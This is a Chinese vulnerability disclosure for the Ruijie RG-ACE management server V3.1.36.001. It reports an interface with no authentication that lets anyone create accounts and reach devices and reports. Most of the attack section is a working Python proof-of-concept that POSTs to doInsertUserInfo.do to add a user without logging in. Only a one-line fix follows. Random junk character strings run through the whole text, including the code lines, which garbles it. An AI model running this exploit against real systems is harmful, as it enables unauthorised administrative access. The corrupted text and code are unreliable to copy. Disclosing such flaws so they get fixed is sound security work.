锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
: K4 J8 J6 q6 a, P7 f' _0 c0 m. J. f$ r* y1 a( G
+ o( d) m+ o5 f7 e. H2 v* t
测试的具体版本是
6 Z- N, r. h' p+ S产品名称: 锐捷应用控制引擎5 V: R2 O; O1 r. X3 o/ o* D2 B5 \
版本号: 3.1.36.001 TC
" O" D2 o/ I9 F8 i+ A! |# L编译时间: 201104291730
9 n' b" R! B( g
( U" |2 Y, W, r, K7 t/ E
; t. x, r7 y) e9 t: U& V- a; ^漏洞证明:
. O: W& b/ [ m0 F* i # ^: J4 M& ]- K7 _! B
. c" d+ ?* v5 O0 y6 l% {+ K7 s
4 q y9 {7 ^' i( E$ u: o7 n
5 I4 R! F+ w+ V- Z- g6 s9 Y9 C) x/ H5 N
" H( t2 p$ B* U. j1 s7 {执行脚本
' k0 U5 e& l" j# u" t& F#! /usr/bin/env python
2 d/ ~% f+ s- _/ H+ W* r! o# b) k2 O#coding=gbk1 [4 Y* p' \2 ~; S
#RG-ACE管理服务器 V3.1.36.001* E; R! d; ]' i- M! N$ k' ~8 s& e
import urllib2, urllib,cookielib. o5 u/ E* [' C! y. {
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP$ ]9 z) Z' H: e. I& M6 u0 K2 G! e
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))- a1 B6 ^2 |3 b+ T) p$ T
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]7 ?$ C+ F% W/ R# Y/ T1 e
post=(("event","userManager.doInsertUserInfo"),2 K& M3 I" R/ N) \5 }: b. H
("useractionname","addButtonValue"),
2 f U7 C2 m, P+ G("useropermanager","userManager"),
* y$ L7 n, X" l9 a6 ]8 ?! @5 T# s("userName","t"), #######账号自己加
% u$ T' K' ?8 }( \3 L* \& ^) g4 j("pwd","aaaaaa"),######密码自己加
2 }9 \$ X& D! F% Q4 X("trueName","ad"),4 d6 Q" [1 O& H9 t$ C
("email",""),5 U5 e! [5 B0 u7 I
("mobilePhone",""),
, Y X5 Q; R$ D( h V("officePhone",""),
* X5 R+ j: |* z3 [% a% q4 N("addr",""),
9 M9 n; N6 w; P; L S' n$ k4 `("submit","确定"))
/ y' X' ~# M" W( }0 T# r8 kurllib2.install_opener(opener)
. u$ B. x; b' L# A5 h- yp=urllib2.urlopen(url, urllib.urlencode(post)).read()& I9 _ E/ B5 X) o6 m" h
print "Done"
, f+ J5 w1 B1 c7 z, ~0 {8 c) N2 ~" Z: v$ S9 J6 }5 `. s \( W; D
登录,连接设备
* c5 \7 r, P! i
" r* S( o& g/ ^3 c7 U f, G- A* `8 ^& r* N7 L' |$ _7 K4 t [# g
6 J1 i% r) C: ^- m J' }
/ n+ v/ {/ o$ r" ~; T9 e$ y+ L
, L3 p6 Q9 |7 |: }: A默认的管理员admin权限更大点* P/ x+ C Q3 L1 o1 N( B
/ H$ Z8 p P/ z
" M f4 `, [5 ?" h. X, u, @3 b) |. I# i8 S0 |% ~
4 m6 u) x) _8 J0 j V$ q2 `! F P8 t3 z' R) ]- X1 g2 z' k
修复方案:
; j, Q, j! Q5 p2 e/ S: H加强对接口的权限验证
4 R+ ^, x3 R$ Q* h3 l% P9 T
4 w; @# g! n* L H |